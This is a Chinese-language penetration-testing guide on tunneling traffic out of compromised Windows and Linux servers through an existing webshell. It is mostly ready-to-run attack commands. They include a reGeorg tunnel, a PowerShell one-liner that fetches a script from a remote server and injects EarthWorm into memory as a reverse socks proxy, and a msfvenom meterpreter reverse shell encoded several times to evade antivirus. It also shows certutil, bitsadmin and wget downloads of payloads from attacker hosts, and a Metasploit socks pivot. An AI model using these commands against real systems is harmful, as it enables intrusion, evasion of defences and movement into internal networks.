渗透中的一些代理方法
前言
渗透测试任务的后期,需要将目标系统内部的网络流量代理出来。实际情况中,不同的操作系统和Web服务会有不同的代理方法。下面以Web服务器操作系统Windows和Linux作为区分,阐述一些针对于这两类服务器的边界代理方法和技术。
Windows
前提:拥有一个webshell或cmdshell。
webshell socks5代理
这种方案典型的工具组合有reGeorg+proxychains、reGeorg+proxifier等。通过上传reGeorg的tunnel webshell,以socks5的形式把内部网络代理出来。该方法的原理是利用tunnel脚本在服务器端开启socks5反向代理,随后以webshell形成一条链路到达本地,本地运行reGeorgSocksProxy.py即可通过相应的端口代理访问内网。示例:
上传tunnel webshell并在浏览器中打开:
http://0x0c.cc/tunnel.php |
此时页面将会显示Georg _says_, 'All seems fine'
。然后在本地运行:
python reGeorgSocksProxy.py -l 127.0.0.1 -p 1080 -u http://0x0c.cc/tunnel.php |
使用代理工具proxychains等通过本地的1080端口进行代理:
proxychains4 nmap -sT -Pn -p 1-10000 192.168.1.0/24 |
此方法不会顾及网络消息传递规则和所处的网络环境,只要能访问上传的webshell即可以进行socks5代理,使用起来非常方便。但实际情况下,服务器往往受到保护,会使代理的成功率降低。
PowerShell远程加载无文件socks5代理
Windows PowerShell是一种命令行程序和脚本环境,它支持用户使用.Net Framework的功能。PowerShell有这样一种操作:通过在PowerShell脚本中嵌入二进制文件的方式启动运行该二进制文件,因此无需写入磁盘(https://truesecdev.wordpress.com/2016/03/15/embedding-exe-files-into-powershell-scripts),达到无文件(文件不落盘)运行的效果。
得益于PowerShell脚本大集合PowerSploit(https://github.com/PowerShellMafia/PowerSploit),可以很容易地利用PowerShell实现远程加载脚本的无文件socks5代理。比如使用PowerShell+PowerSploit+Earthworm的工具组合。
首先在自己的vps开web服务,并在根目录下放置PowerSploit的脚本Invoke-ReflectivePEInjection.ps1
(这里要使用@clymb3r
修改后的脚本https://github.com/clymb3r/PowerShell/blob/master/Invoke-ReflectivePEInjection/Invoke-ReflectivePEInjection.ps1)以及EarthWorm可执行文件ew.exe。
先让EtherWorm监听:
ew.exe -s rcsocks -l 1080 -e 8888 |
在目标服务器的webshell或cmdshell中执行:
powershell IEX (New-Object Net.WebClient).DownloadString('http://1.2.3.4/Invoke-ReflectivePEInjection.ps1');Invoke-ReflectivePEInjection -PEUrl http://1.2.3.4/ew.exe -ExeArgs "-s rssocks -d 1.2.3.4 -e 8888" -ForceASLR |
这样就能反弹出一个socks5的代理到vps,接下来使用Proxifier等工具接管代理就可以了。不过实际实践的时候未成功…抛出一个_PE platform doesn’t match the architecture of the process it is being loadedin (32/64bit)_
的错误,按照文章https://truesecdev.wordpress.com/2016/03/15/embedding-exe-files-into-powershell-scripts的方法使用32位的PowerShell依然无法正常执行,并且出现崩溃的现象,暂时还未解决。
很喜欢此方法的思路,真的非常棒。
Metasploit socks4a代理
因为已经拥有了webshell,所以可以先使用msfvenom生成一个能反弹meterpreter的webshell或者可执行文件exe。示例:
msfvenom生成一个反弹meterpreter的可执行文件,并使用多层编码进行免杀:
msfvenom -p windows/meterpreter/reverse_tcp -e x86/alpha_upper -i 5 --platform windows --arch x86 lhost=1.2.3.4 lport=4444 -f raw | msfvenom -e x86/shikata_ga_nai -i 5 --platform windows --arch x86 -f raw | msfvenom -e x86/countdown -i 5 --platform windows --arch x86 -f exe -o test.exe |
通过webshell将生成的马上传。
如果只有cmdshell,可以先将马传至vps然后用Powershell和bitsadmin下载到服务器(或其他更多姿势https://www.t00ls.net/articles-37253.html):
powershell (new-object System.Net.WebClient).DownloadFile('http://0x0c.cc/test.exe','d:\test.exe') |
bitsadmin /transfer n http://0x0c.cc/test.exe d:\\test.exe |
也可以使用certutil(https://evi1cg.me/archives/Tricks.html):
certutil -urlcache -split -f http://0x0c.cc/tools/ew.exe ew.exe # 下载ew |
certutil -urlcache -split -f http://0x0c.cc/tools/ew.exe delete # 删除缓存 |
接着在Metasploit设置监听:
msf > use exploit/multi/handler |
在webshell或cmdshell运行可执行文件test.exe,坐等反弹回来的meterpreter。当然如果没有公网IP,可以先使用lcx.exe
、rtcp.py
等端口转发工具将本地端口映射到公网跳板机或vps,再执行操作。
接收到Meterpreter以后先添加路由表信息:
meterpreter > run get_local_subnets |
通过auxiliary/server/socks4a模块建立本地socks4a代理:
msf exploit(handler) > use auxiliary/server/socks4a |
最后使用proxychains、MacProxy等代理工具接管socks4a代理就好。
Linux
由于Linux自带很多工具,例如nc、wget、python等等,因此当Linux服务器做代理往往比Windows容易。如果已经拥有了Linux下的webshell、bashshell,可以使用以下几种方法。
webshell socks5代理
与Windows一致。
Metasploit socks4a代理
与Windows中一致,不过生成马注意要生成Linux下的可执行文件.elf
(或webshell也行)。在上传马时可以采取相同的思路,即先上传至vps,再从服务器端进行下载,下载的方法有:
ftp [email protected] 2121 |
wget -c http://0x0c.cc/test.elf -P /tmp/ |
scp -r [email protected]:/home/test.elf /tmp/test.elf |
nc -l -p 8787 < /home/test.elf # vps:1.2.3.4 |
SSH tunnel socks5代理
SSH提供了三种方式的端口转发功能,能够将其他TCP端口的网络数据通过SSH进行转发,极大地方便了渗透测试过程中数据流的穿越。
例如,当目标Web服务器的SSH服务可以直接被访问时,利用SSH动态端口转发可以实现一条命令的socks5代理:
ssh -qTNf -D 127.0.0.1:12345 [email protected] |
然后用本地代理工具接管代理即可。
当目标的SSH服务无法直接访问时,可以在webshell或generalshell或reverseshell中对SSH端口进行转发。例如可以先服务器的SSH端口转发至跳板机,随后借助跳板机进行socks5代理。
首先向跳板机和目标服务器上传rtcp.py,在跳板机上执行:
python rtcp.py l:10001 l:10002 |
在目标服务器执行:
python rtcp.py c:localhost:22 c:1.2.3.4:10001 |
然后和跳板机的10002端口建立SSH隧道进行socks5代理:
ssh -qTNf -D 127.0.0.1:12345 [email protected] -p 10002 |
* 转载请注明作者及来源